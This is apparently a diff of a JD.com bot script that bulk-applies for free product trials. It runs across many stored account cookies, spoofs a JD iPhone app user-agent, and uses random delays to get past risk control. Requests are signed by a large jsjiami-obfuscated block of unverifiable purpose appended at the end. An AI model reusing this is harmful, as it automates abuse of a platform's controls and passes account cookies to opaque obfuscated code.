$.UserName}\n`); - $.except = false; - if (args_xh.except.includes($.UserName)) { - console.log(`跳过账号:${$.nickName || $.UserName}`) - $.except = true; - continue - } - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - await $.notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - continue - } - $.totalTry = 0 - $.totalSuccess = 0 - $.nowTabIdIndex = 0; - $.nowPage = 1; - $.nowItem = 1; - $.retrynum = 0 - $.jda = '__jda=' + _jda('1xxxxxxxx.164xxxxxxxxxxxxxxxxxxx.164xxxxxxx.165xxxxxx.165xxxxxx.1xx') - if (!args_xh.unified) { - trialActivityIdList = [] - trialActivityTitleList = [] - } - $.isLimit = false; - // 获取tabList的,不知道有哪些的把这里的注释解开跑一遍就行了 - //await try_tabList(); - // return; - $.isForbidden = false - $.wrong = false - size = 1 - - while (trialActivityIdList.length < args_xh.maxLength && $.retrynum < 3) { - if ($.nowTabIdIndex === args_xh.tabId.length) { - console.log(`tabId组已遍历完毕,不在获取商品\n`); - break; - } else { - await try_feedsList(args_xh.tabId[$.nowTabIdIndex], $.nowPage) //获取对应tabId的试用页面 - } - if (trialActivityIdList.length < args_xh.maxLength) { - console.log(`间隔等待中,请等待3秒 \n`) - await $.wait(3000); - } - } - if ($.isForbidden === false && $.isLimit === false) { - console.log(`稍后将执行试用申请,请等待 2 秒\n`) - await $.wait(2000); - for (let i = 0; i < trialActivityIdList.length && $.isLimit === false; i++) { - if ($.isLimit) { - console.log("试用上限") - break - } - if ($.isForbidden) { console.log('403了,跳出'); break } - await try_apply(trialActivityTitleList[i], trialActivityIdList[i]) - //console.log(`间隔等待中,请等待 ${args_xh.applyInterval} ms\n`) - const waitTime = generateRandomInteger(args_xh.applyInterval, 9000); - console.log(`随机等待${waitTime}ms后继续`); - await $.wait(waitTime); - } - console.log("试用申请执行完毕...") - // await try_MyTrials(1, 1) //申请中的商品 - $.giveupNum = 0; - $.successNum = 0; - $.getNum = 0; - $.completeNum = 0; - await try_MyTrials(1, 2) //申请成功的商品 - // await try_MyTrials(1, 3) //申请失败的商品 - await showMsg() - } - } - if ($.isNode()) { - if ($.index % args_xh.sendNum === 0) { - $.sentNum++; - console.log(`正在进行第 ${$.sentNum} 次发送通知,发送数量:${args_xh.sendNum}`) - await $.notify.sendNotify(`${$.name}`, `${notifyMsg}`) - notifyMsg = ""; - } - } - } - if ($.isNode() && $.except === false) { - if (($.cookiesArr.length - ($.sentNum * args_xh.sendNum)) < args_xh.sendNum && notifyMsg.length != 0) { - console.log(`正在进行最后一次发送通知,发送数量:${($.cookiesArr.length - ($.sentNum * args_xh.sendNum))}`) - await $.notify.sendNotify(`${$.name}`, `${notifyMsg}`) - notifyMsg = ""; - } - } - } else { - console.log(`\n您未设置变量export JD_TRY="true"运行【京东试用】脚本, 结束运行!\n`) - } -})().catch((e) => { - console.error(`❗️ ${$.name} 运行错误!\n${e}`) -}).finally(() => $.done()) - -function requireConfig() { - return new Promise(resolve => { - $.notify = $.isNode() ? require('./sendNotify') : { sendNotify: async () => { } } - //获取 Cookies - $.cookiesArr = [] - if ($.isNode()) { - //Node.js用户请在jdCookie.js处填写京东ck; - const jdCookieNode = require('./jdCookie.js'); - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) $.cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; - } else { - //IOS等用户直接用NobyDa的jd $.cookie - $.cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - for (let keyWord of $.innerKeyWords) args_xh.titleFilters.push(keyWord) - console.log(`共${$.cookiesArr.length}个京东账号\n`) - if (args_xh.env) { - console.log('=========环境变量配置如下=========') - console.log(`env: ${typeof args_xh.env}, ${args_xh.env}`) - console.log(`except: ${typeof args_xh.except}, ${args_xh.except}`) - console.log(`totalPages: ${typeof args_xh.totalPages}, ${args_xh.totalPages}`) - console.log(`unified: ${typeof args_xh.unified}, ${args_xh.unified}`) - console.log(`jdPrice: ${typeof args_xh.jdPrice}, ${args_xh.jdPrice}`) - console.log(`tabId: ${typeof args_xh.tabId}, ${args_xh.tabId}`) - console.log(`titleFilters: ${typeof args_xh.titleFilters}, ${args_xh.titleFilters}`) - console.log(`trialPrice: ${typeof args_xh.trialPrice}, ${args_xh.trialPrice}`) - console.log(`minSupplyNum: ${typeof args_xh.minSupplyNum}, ${args_xh.minSupplyNum}`) - console.log(`applyNumFilter: ${typeof args_xh.applyNumFilter}, ${args_xh.applyNumFilter}`) - console.log(`applyInterval: ${typeof args_xh.applyInterval}, ${args_xh.applyInterval}`) - console.log(`maxLength: ${typeof args_xh.maxLength}, ${args_xh.maxLength}`) - console.log(`passZhongCao: ${typeof args_xh.passZhongCao}, ${args_xh.passZhongCao}`) - console.log(`printLog: ${typeof args_xh.printLog}, ${args_xh.printLog}`) - console.log(`whiteList: ${typeof args_xh.whiteList}, ${args_xh.whiteList}`) - console.log(`whiteListKeywords: ${typeof args_xh.whiteListKeywords}, ${args_xh.whiteListKeywords}`) - console.log('===============================') - } - resolve() - }) -} - -//获取tabList的,如果不知道tabList有哪些,跑一遍这个function就行了 -function try_tabList() { - return new Promise((resolve, reject) => { - console.log(`获取tabList中...`) - const body = JSON.stringify({ - "version": 2, - "previewTime": "" - }); - let option = taskurl_xh('newtry', 'try_tabList', body) - $.post(option, (err, resp, data) => { - try { - if (err) { - if (JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`) { - $.isForbidden = true - console.log('账号被京东服务器风控,不再请求该帐号') - } else { - console.log(JSON.stringify(err)) - console.log(`${$.name} API请求失败,请检查网路重试`) - } - } else { - data = JSON.parse(data) - if (data.success) { - for (let tabId of data.data.tabList) console.log(`${tabId.tabName} - ${tabId.tabId}`) - } else { - console.log("获取失败", data) - } - } - } catch (e) { - reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) - } finally { - resolve() - } - }) - }) -} - -//获取商品列表并且过滤 By X1a0He -function try_feedsList(tabId, page) { - return new Promise((resolve, reject) => { - const body = JSON.stringify({ - "tabId": `${tabId}`, - "page": page, - "version": 2, - "source": "default", - "client": "app", - //"previewTime": "" - }); - let option = taskurl_xh('newtry', 'try_feedsList', body) - $.post(option, (err, resp, data) => { - try { - if (err) { - if (JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`) { - console.log(`请求失败,第 ${$.retrynum + 1} 次重试`) - $.retrynum++ - if ($.retrynum === 3) { $.isForbidden = true; $.log('多次尝试失败,换个时间再试!') } - } else { - console.log(JSON.stringify(err)) - console.log(`${$.name} API请求失败,请检查网路重试`) - } - } else { - data = JSON.parse(data) - let tempKeyword = ``; - if (data.data) { - $.nowPage === args_xh.totalPages ? $.nowPage = 1 : $.nowPage++; - console.log(`第 ${size++} 次获取试用商品成功,tabId:${args_xh.tabId[$.nowTabIdIndex]} 的 第 ${page}/${args_xh.totalPages} 页`) - console.log(`获取到商品 ${data.data.feedList.length} 条`) - for (let item of data.data.feedList) { - if (item.applyNum === null) { - args_xh.printLog ? console.log(`商品未到申请时间:${item.skuTitle}\n`) : '' - continue - } - if (trialActivityIdList.length >= args_xh.maxLength) { - console.log('商品列表长度已满.结束获取') - break - } - if (item.applyState === 1) { - args_xh.printLog ? console.log(`商品已申请试用:${item.skuTitle}\n`) : '' - continue - } - if (item.applyState !== null) { - args_xh.printLog ? console.log(`商品状态异常,未找到skuTitle\n`) : '' - continue - } - if (args_xh.passZhongCao) { - $.isPush = true; - if (item.tagList.length !== 0) { - for (let itemTag of item.tagList) { - if (itemTag.tagType === 3) { - args_xh.printLog ? console.log('商品被过滤,该商品是种草官专属') : '' - $.isPush = false; - break; - } else if (itemTag.tagType === 5) { - args_xh.printLog ? console.log('商品被跳过,该商品是付费试用!') : '' - $.isPush = false; - break; - } - } - } - } - if (item.skuTitle && $.isPush) { - args_xh.printLog ? console.log(`检测 tabId:${args_xh.tabId[$.nowTabIdIndex]} 的 第 ${page}/${args_xh.totalPages} 页 第 ${$.nowItem++ + 1} 个商品\n${item.skuTitle}`) : '' - if (args_xh.whiteList) { - if (args_xh.whiteListKeywords.some(fileter_word => item.skuTitle.includes(fileter_word))) { - args_xh.printLog ? console.log(`商品白名单通过,将加入试用组,trialActivityId为${item.trialActivityId}\n`) : '' - trialActivityIdList.push(item.trialActivityId) - trialActivityTitleList.push(item.skuTitle) - } - } else { - tempKeyword = ``; - if (parseFloat(item.jdPrice) <= args_xh.jdPrice) { - args_xh.printLog ? console.log(`商品被过滤,商品价格 ${item.jdPrice} < ${args_xh.jdPrice} \n`) : '' - } else if (parseFloat(item.supplyNum) < args_xh.minSupplyNum && item.supplyNum !== null) { - args_xh.printLog ? console.log(`商品被过滤,提供申请的份数小于预设申请的份数 \n`) : '' - } else if (parseFloat(item.applyNum) > args_xh.applyNumFilter && item.applyNum !== null) { - args_xh.printLog ? console.log(`商品被过滤,已申请人数大于预设的${args_xh.applyNumFilter}人 \n`) : '' - } else if (item.jdPrice === null) { - args_xh.printLog ? console.log(`商品被过滤,商品无价,不能申请 \n`) : '' - } else if (parseFloat(item.trialPrice) > args_xh.trialPrice) { - args_xh.printLog ? console.log(`商品被过滤,商品试用价大于预设试用价 \n`) : '' - } else if (args_xh.titleFilters.some(fileter_word => item.skuTitle.includes(fileter_word) ? tempKeyword = fileter_word : '')) { - args_xh.printLog ? console.log(`商品被过滤,含有关键词 ${tempKeyword}\n`) : '' - } else { - args_xh.printLog ? console.log(`商品通过,加入试用组,trialActivityId为${item.trialActivityId}\n`) : '' - if (trialActivityIdList.indexOf(item.trialActivityId) === -1) { - trialActivityIdList.push(item.trialActivityId) - trialActivityTitleList.push(item.skuTitle) - } - } - } - } else if ($.isPush !== false) { - console.error('skuTitle解析异常') - return - } - } - console.log(`当前试用组长度为:${trialActivityIdList.length}`) - //args_xh.printLog ? console.log(`${trialActivityIdList}`) : '' - if (page >= args_xh.totalPages && $.nowTabIdIndex < args_xh.tabId.length) { - //这个是因为每一个tab都会有对应的页数,获取完如果还不够的话,就获取下一个tab - $.nowTabIdIndex++; - $.nowPage = 1; - $.nowItem = 1; - } - $.retrynum = 0 - } else { - console.log(`💩 获得试用列表失败: ${data.message}`) - } - } - } catch (e) { - reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) - } finally { - resolve() - } - }) - }) -} - -function try_apply(title, activityId) { - return new Promise(async (resolve, reject) => { - console.log(`申请试用商品提交中...`) - args_xh.printLog ? console.log(`商品:${title}`) : '' - args_xh.printLog ? console.log(`id为:${activityId}`) : '' - let body = JSON.stringify({ - "activityId": activityId, - "previewTime": "" - }); - body = await _0x2dacde(body); - let opt = - { - "url": `${URL}?${body}}`, - 'headers': { - 'Cookie': $.cookie + $.jda, - 'user-agent': 'jdapp;iPhone;10.1.2;15.0;ff2caa92a8529e4788a34b3d8d4df66d9573f499;network/wifi;model/iPhone13,4;addressid/2074196292;appBuild/167802;jdSupportDarkMode/1;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': 'https://prodev.m.jd.com/', - 'origin': 'https://prodev.m.jd.com/', - 'Accept': 'application/json,text/plain,*/*', - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-cn', - 'Content-Type': 'application/x-www-form-urlencoded', - }, - } - $.get(opt, (err, resp, data) => { - try { - if (err) { - if (JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`) { - $.isForbidden = true - console.log('账号被京东服务器风控,不再请求该帐号') - } else { - console.log(JSON.stringify(err)) - console.log(`${$.name} API请求失败,请检查网路重试`) - } - } else { - $.totalTry++ - data = JSON.parse(data) - if (data.success && data.code === "1") { // 申请成功 - console.log("申请提交成功") - $.totalSuccess++ - } else if (data.code === "-106") { - console.log(data.message) // 未在申请时间内! - } else if (data.code === "-110") { - console.log(data.message) // 您的申请已成功提交,请勿重复申请… - } else if (data.code === "-120") { - console.log(data.message) // 您还不是会员,本品只限会员申请试用,请注册会员后申请! - } else if (data.code === "-167") { - console.log(data.message) // 抱歉,此试用需为种草官才能申请。查看下方详情了解更多。 - } else if (data.code === "-131") { - console.log(data.message) // 申请次数上限。 - $.isLimit = true; - } else if (data.code === "-113") { - console.log(data.message) // 操作不要太快哦! - } else { - console.log("申请失败", data) - } - } - } catch (e) { - reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) - } finally { - resolve() - } - }) - }) -} - -function try_MyTrials(page, selected) { - - return new Promise((resolve, reject) => { - switch (selected) { - case 1: - console.log('正在获取已申请的商品...') - break; - case 2: - console.log('正在获取申请成功的商品...') - break; - case 3: - console.log('正在获取申请失败的商品...') - break; - default: - console.log('selected错误') - } - let options = { - url: URL, - body: `appid=newtry&functionId=try_MyTrials&clientVersion=10.3.4&client=wh5&body=%7B%22page%22%3A${page}%2C%22selected%22%3A${selected}%2C%22previewTime%22%3A%22%22%7D`, - headers: { - 'origin': 'https://prodev.m.jd.com', - 'User-Agent': 'jdapp;iPhone;10.3.4;;;M/5.0;appBuild/167945;jdSupportDarkMode/1;;;Mozilla/5.0 (iPhone; CPU iPhone OS 15_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', - 'referer': 'https://prodev.m.jd.com/', - 'cookie': $.cookie + $.jda - }, - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) - } else { - data = JSON.parse(data) - if (data.success) { - //temp adjustment - if (selected === 2) { - if (data.success && data.data) { - for (let item of data.data.list) { - item.status === 4 || item.text.text.includes('试用资格已过期') ? $.giveupNum += 1 : '' - item.status === 2 && item.text.text.includes('试用资格将保留') ? $.successNum += 1 : '' - item.status === 2 && item.text.text.includes('请收货后尽快提交报告') ? $.getNum += 1 : '' - item.status === 2 && item.text.text.includes('试用已完成') ? $.completeNum += 1 : '' - } - console.log(`待领取 | 已领取 | 已完成 | 已放弃:${$.successNum} | ${$.getNum} | ${$.completeNum} | ${$.giveupNum}`) - } else { - console.log(`获得成功列表失败: ${data.message}`) - } - } - } else { - console.error(`ERROR:try_MyTrials`) - } - } - } catch (e) { - reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) - } finally { - resolve() - } - }) - }) -} - -function taskurl_xh(appid, functionId, body = JSON.stringify({})) { - - return { - "url": `${URL}?appid=${appid}&functionId=${functionId}&clientVersion=11.0.2&client=wh5&body=${encodeURIComponent(body)}&h5st=${$.h5st}`, - 'headers': { - 'Cookie': $.cookie + $.jda, - 'user-agent': 'jdapp;iPhone;10.1.2;15.0;ff2caa92a8529e4788a34b3d8d4df66d9573f499;network/wifi;model/iPhone13,4;addressid/2074196292;appBuild/167802;jdSupportDarkMode/1;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': 'https://prodev.m.jd.com/', - 'origin': 'https://prodev.m.jd.com/', - 'Accept': 'application/json,text/plain,*/*', - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-cn', - 'Content-Type': 'application/x-www-form-urlencoded', - }, - } - -} - -async function showMsg() { - let message = ``; - message += `👤 京东账号${$.index} ${$.nickName || $.UserName}\n`; - if ($.totalSuccess !== 0 && $.totalTry !== 0) { - message += `🎉 本次提交申请:${$.totalSuccess}/${$.totalTry}个商品🛒\n`; - message += `🎉 ${$.successNum}个商品待领取\n`; - message += `🎉 ${$.getNum}个商品已领取\n`; - message += `🎉 ${$.completeNum}个商品已完成\n`; - message += `🗑 ${$.giveupNum}个商品已放弃\n\n`; - } else { - message += `⚠️ 本次执行没有申请试用商品\n`; - message += `🎉 ${$.successNum}个商品待领取\n`; - message += `🎉 ${$.getNum}个商品已领取\n`; - message += `🎉 ${$.completeNum}个商品已完成\n`; - message += `🗑 ${$.giveupNum}个商品已放弃\n\n`; - } - if (!args_xh.jdNotify || args_xh.jdNotify === 'false') { - $.msg($.name, ``, message, { - "open-url": 'https://try.m.jd.com/user' - }) - if ($.isNode()) - notifyMsg += `${message}` - } else { - console.log(message) - } -} - -function totalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": $.cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - }, - "timeout": 10000, - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -;var encode_version = 'jsjiami.com.v5', rwjao = '__0xe840a', __0xe840a=['\x50\x58\x51\x59','\x77\x6f\x72\x43\x68\x63\x4f\x43\x48\x79\x4d\x3d','\x4a\x42\x55\x56\x4d\x48\x77\x3d','\x43\x31\x34\x4b\x50\x6a\x59\x3d','\x51\x30\x74\x56\x77\x6f\x30\x6c','\x77\x6f\x52\x66\x77\x72\x6b\x46\x77\x71\x55\x3d','\x4a\x6a\x39\x79\x46\x68\x41\x3d','\x52\x73\x4b\x30\x66\x77\x52\x75','\x45\x4d\x4f\x74\x77\x34\x44\x44\x75\x7a\x38\x3d','\x77\x36\x4d\x47\x77\x6f\x6b\x3d','\x77\x35\x72\x43\x76\x73\x4b\x59\x62\x38\x4f\x78\x77\x72\x4a\x45\x77\x71\x33\x44\x72\x41\x3d\x3d','\x77\x70\x34\x51\x77\x36\x4a\x37\x61\x67\x3d\x3d','\x47\x73\x4b\x78\x77\x34\x5a\x58','\x4f\x6a\x48\x44\x70\x41\x4c\x44\x75\x77\x3d\x3d','\x77\x37\x39\x38\x77\x37\x52\x79\x77\x72\x41\x3d','\x77\x70\x44\x43\x71\x7a\x30\x44\x42\x67\x3d\x3d','\x77\x72\x59\x7a\x5a\x63\x4b\x68\x42\x41\x3d\x3d','\x61\x67\x46\x46\x61\x77\x3d\x3d','\x77\x71\x73\x65\x58\x77\x3d\x3d','\x77\x34\x74\x51\x77\x36\x4e\x45\x77\x6f\x55\x3d','\x77\x71\x4c\x43\x6a\x63\x4f\x6d','\x61\x63\x4f\x4e\x45\x6b\x2f\x43\x6b\x51\x3d\x3d','\x77\x71\x6e\x43\x6c\x68\x49\x3d','\x77\x36\x66\x44\x76\x47\x51\x3d','\x62\x73\x4b\x59\x55\x51\x3d\x3d','\x43\x7a\x7a\x44\x74\x53\x72\x44\x6d\x30\x6f\x34\x77\x34\x78\x33','\x5a\x31\x58\x44\x6f\x38\x4b\x54\x77\x70\x66\x44\x6a\x41\x58\x44\x6f\x63\x4b\x68\x5a\x38\x4b\x36\x77\x37\x59\x6f\x46\x67\x3d\x3d','\x35\x34\x69\x75\x35\x70\x32\x35\x35\x59\x79\x4c\x37\x37\x32\x56\x77\x72\x77\x4a\x35\x4c\x32\x55\x35\x61\x32\x59\x35\x70\x36\x51\x35\x62\x79\x77\x35\x36\x69\x43\x37\x37\x36\x5a\x36\x4c\x79\x76\x36\x4b\x2b\x41\x35\x70\x61\x59\x35\x6f\x2b\x49\x35\x6f\x75\x48\x35\x4c\x69\x73\x35\x35\x69\x6b\x35\x62\x65\x52\x35\x4c\x36\x48','\x35\x59\x75\x4f\x36\x5a\x6d\x4f\x35\x34\x71\x39\x35\x70\x32\x7a\x35\x59\x79\x48\x37\x37\x36\x4e\x50\x57\x33\x6b\x76\x49\x6e\x6c\x72\x4a\x50\x6d\x6e\x37\x66\x6c\x76\x37\x76\x6e\x71\x70\x49\x3d','\x55\x63\x4f\x73\x43\x67\x3d\x3d','\x49\x4d\x4b\x35\x77\x71\x77\x3d','\x77\x36\x4c\x43\x6a\x4d\x4b\x57\x4d\x38\x4b\x32','\x63\x31\x76\x44\x72\x4d\x4b\x46\x5a\x77\x3d\x3d','\x77\x71\x42\x53\x77\x70\x4d\x73\x77\x6f\x41\x3d','\x50\x73\x4b\x76\x77\x70\x73\x71\x4e\x41\x3d\x3d','\x77\x36\x7a\x44\x70\x46\x37\x44\x71\x6a\x67\x3d','\x77\x72\x37\x43\x72\x63\x4f\x50\x4d\x41\x6b\x3d','\x4a\x79\x67\x55\x77\x71\x30\x68','\x48\x73\x4b\x70\x77\x6f\x63\x78\x4d\x67\x3d\x3d','\x77\x35\x73\x69\x77\x71\x58\x43\x68\x4d\x4f\x2b','\x77\x71\x59\x31\x55\x47\x2f\x43\x75\x41\x3d\x3d','\x63\x6c\x4a\x56\x77\x70\x30\x7a','\x77\x36\x72\x44\x6d\x63\x4f\x50\x77\x71\x50\x44\x6d\x77\x3d\x3d','\x77\x70\x34\x63\x63\x47\x62\x43\x71\x51\x3d\x3d','\x59\x4d\x4f\x69\x50\x46\x6a\x43\x6f\x67\x3d\x3d','\x4a\x4d\x4f\x41\x77\x72\x44\x44\x74\x38\x4f\x6e','\x77\x34\x72\x43\x71\x31\x54\x44\x6b\x38\x4b\x47','\x77\x72\x34\x65\x77\x6f\x51\x65\x54\x51\x3d\x3d','\x77\x6f\x38\x31\x77\x37\x68\x75\x54\x41\x3d\x3d','\x65\x6a\x52\x32\x77\x35\x55\x62','\x42\x78\x58\x44\x6d\x67\x37\x44\x70\x77\x3d\x3d','\x4b\x53\x72\x44\x6a\x6b\x62\x43\x6b\x41\x3d\x3d','\x43\x6a\x72\x43\x6d\x77\x3d\x3d','\x77\x37\x6c\x41\x65\x4d\x4f\x32\x77\x70\x51\x3d','\x77\x71\x64\x71\x64\x73\x4b\x32\x42\x41\x3d\x3d','\x77\x70\x70\x59\x77\x6f\x77\x41\x77\x70\x48\x44\x73\x53\x64\x79\x61\x67\x3d\x3d','\x49\x53\x4d\x50\x4d\x33\x33\x44\x72\x67\x3d\x3d','\x77\x35\x5a\x55\x77\x37\x77\x3d','\x42\x7a\x52\x4d\x41\x73\x4b\x74\x52\x77\x3d\x3d','\x59\x63\x4b\x4f\x52\x4d\x4f\x39\x66\x73\x4f\x4c\x77\x71\x5a\x52\x77\x34\x6c\x52\x77\x71\x44\x43\x76\x73\x4f\x38\x77\x71\x42\x4b\x77\x72\x6c\x6f\x64\x38\x4b\x52\x66\x45\x34\x46\x77\x72\x37\x43\x75\x63\x4b\x4f\x77\x6f\x49\x6e\x77\x6f\x35\x67\x64\x69\x6e\x44\x6b\x4d\x4b\x71\x66\x6e\x72\x44\x6a\x4d\x4b\x39\x59\x44\x7a\x43\x67\x77\x66\x43\x67\x6d\x49\x32\x77\x6f\x2f\x43\x72\x47\x4e\x71\x77\x35\x77\x47\x57\x63\x4b\x59\x77\x35\x5a\x58\x57\x38\x4b\x37\x49\x69\x33\x43\x74\x45\x58\x44\x67\x63\x4f\x79\x43\x41\x48\x44\x6b\x53\x4d\x73\x51\x38\x4b\x52\x77\x37\x48\x43\x69\x45\x44\x43\x73\x63\x4f\x30\x54\x47\x62\x44\x73\x6e\x6f\x55\x66\x55\x54\x43\x75\x38\x4b\x65\x48\x6d\x34\x35\x77\x72\x78\x45\x46\x4d\x4f\x55\x77\x37\x37\x43\x6e\x38\x4f\x42\x77\x70\x2f\x44\x69\x38\x4b\x4b\x77\x72\x6e\x43\x75\x6e\x49\x72\x77\x72\x42\x4a\x77\x37\x54\x44\x72\x6e\x58\x44\x72\x38\x4f\x34\x50\x38\x4b\x70\x66\x69\x70\x51\x77\x6f\x6e\x43\x6a\x55\x63\x4c\x4d\x46\x72\x44\x6c\x7a\x67\x51\x77\x37\x33\x43\x75\x63\x4f\x47\x46\x6c\x73\x30\x77\x6f\x48\x44\x67\x63\x4f\x6a\x56\x7a\x6e\x44\x74\x68\x77\x45\x77\x71\x76\x44\x68\x47\x42\x63\x77\x37\x6a\x43\x76\x68\x6c\x39\x41\x4d\x4b\x56\x4d\x4d\x4f\x71\x77\x36\x77\x41\x77\x6f\x33\x43\x69\x4d\x4f\x6e\x77\x6f\x44\x43\x69\x73\x4b\x4a\x77\x70\x72\x44\x6a\x46\x55\x53\x56\x38\x4f\x44\x77\x34\x7a\x44\x6a\x30\x50\x43\x6f\x63\x4b\x52\x77\x70\x72\x44\x75\x73\x4f\x4f\x77\x35\x6a\x43\x69\x78\x41\x6d\x51\x4d\x4f\x33\x50\x4d\x4b\x73\x77\x36\x4c\x44\x70\x38\x4f\x54\x77\x37\x37\x43\x74\x73\x4f\x47\x77\x6f\x33\x44\x73\x73\x4f\x6b\x50\x38\x4b\x63\x59\x38\x4b\x53\x54\x43\x62\x44\x69\x38\x4f\x73\x77\x35\x66\x44\x68\x4d\x4f\x50\x64\x4d\x4b\x7a\x57\x6e\x49\x36\x42\x38\x4b\x7a\x77\x72\x34\x44\x4e\x4d\x4b\x70\x53\x4d\x4b\x61\x77\x36\x39\x46\x77\x35\x54\x43\x69\x43\x72\x43\x69\x4d\x4f\x5a\x77\x35\x42\x71\x77\x70\x2f\x43\x73\x41\x6b\x52\x77\x6f\x50\x44\x72\x73\x4f\x46\x77\x36\x37\x44\x69\x58\x76\x44\x72\x4d\x4f\x76\x64\x43\x31\x62\x77\x35\x48\x44\x6f\x41\x4c\x43\x6b\x63\x4b\x5a\x65\x78\x48\x44\x69\x30\x58\x44\x6d\x4d\x4f\x4a\x50\x73\x4f\x4a\x62\x73\x4b\x4b\x4f\x55\x66\x44\x67\x4d\x4b\x6c\x77\x72\x52\x79\x59\x6c\x72\x44\x6b\x4d\x4f\x39\x59\x38\x4f\x7a\x77\x71\x4c\x43\x6c\x63\x4f\x39\x4e\x38\x4b\x50\x77\x35\x42\x55\x77\x37\x38\x55\x77\x71\x51\x53\x77\x6f\x34\x73\x77\x6f\x7a\x43\x6f\x30\x37\x44\x6a\x67\x3d\x3d','\x77\x36\x46\x54\x59\x54\x76\x44\x68\x4d\x4b\x47\x77\x71\x41\x3d','\x77\x70\x31\x4f\x4a\x63\x4b\x4c\x53\x38\x4f\x65\x42\x51\x59\x4c\x77\x36\x44\x43\x6f\x7a\x68\x74\x77\x35\x4c\x44\x69\x31\x30\x3d','\x55\x46\x4c\x43\x72\x78\x72\x44\x6b\x38\x4f\x74\x62\x42\x7a\x44\x6a\x73\x4b\x70\x61\x63\x4f\x59\x54\x45\x7a\x43\x6c\x33\x72\x43\x73\x63\x4f\x31\x47\x57\x77\x59\x48\x63\x4f\x66\x47\x63\x4b\x4e\x44\x69\x58\x43\x76\x38\x4b\x4b\x43\x43\x67\x3d','\x57\x31\x35\x47\x77\x70\x34\x71\x48\x63\x4f\x73\x77\x71\x6a\x44\x71\x67\x3d\x3d','\x77\x70\x44\x43\x67\x53\x77\x45\x45\x67\x3d\x3d','\x41\x38\x4b\x71\x77\x72\x49\x74\x45\x67\x3d\x3d','\x77\x37\x55\x44\x77\x72\x7a\x43\x6a\x4d\x4f\x79','\x77\x35\x76\x43\x68\x63\x4b\x42\x49\x63\x4b\x47','\x77\x35\x6c\x43\x54\x68\x7a\x44\x72\x77\x3d\x3d','\x77\x34\x35\x61\x58\x42\x62\x44\x70\x67\x3d\x3d','\x63\x55\x6c\x54\x77\x70\x34\x51','\x63\x4d\x4f\x48\x48\x45\x44\x43\x68\x51\x3d\x3d','\x4b\x73\x4b\x7a\x77\x34\x51\x3d','\x77\x72\x72\x44\x6b\x73\x4f\x6c','\x35\x34\x75\x48\x35\x70\x79\x56\x35\x59\x2b\x61\x37\x37\x36\x56\x77\x35\x6f\x30\x35\x4c\x2b\x57\x35\x61\x36\x47\x35\x70\x2b\x4e\x35\x62\x2b\x4d\x35\x36\x69\x67\x37\x37\x32\x76\x36\x4c\x32\x73\x36\x4b\x32\x38\x35\x70\x61\x77\x35\x6f\x32\x64\x35\x6f\x69\x53\x35\x4c\x71\x33\x35\x35\x71\x4a\x35\x62\x57\x6a\x35\x4c\x79\x6f','\x77\x70\x77\x33\x77\x34\x70\x65\x52\x41\x3d\x3d','\x77\x6f\x4d\x30\x59\x73\x4b\x56\x4e\x41\x3d\x3d','\x43\x63\x4f\x50\x4d\x4d\x4b\x51\x46\x41\x3d\x3d','\x77\x71\x49\x61\x59\x4d\x4b\x78\x4c\x41\x3d\x3d','\x77\x35\x78\x65\x66\x63\x4f\x32\x77\x34\x6f\x3d','\x46\x63\x4f\x6a\x47\x73\x4b\x31',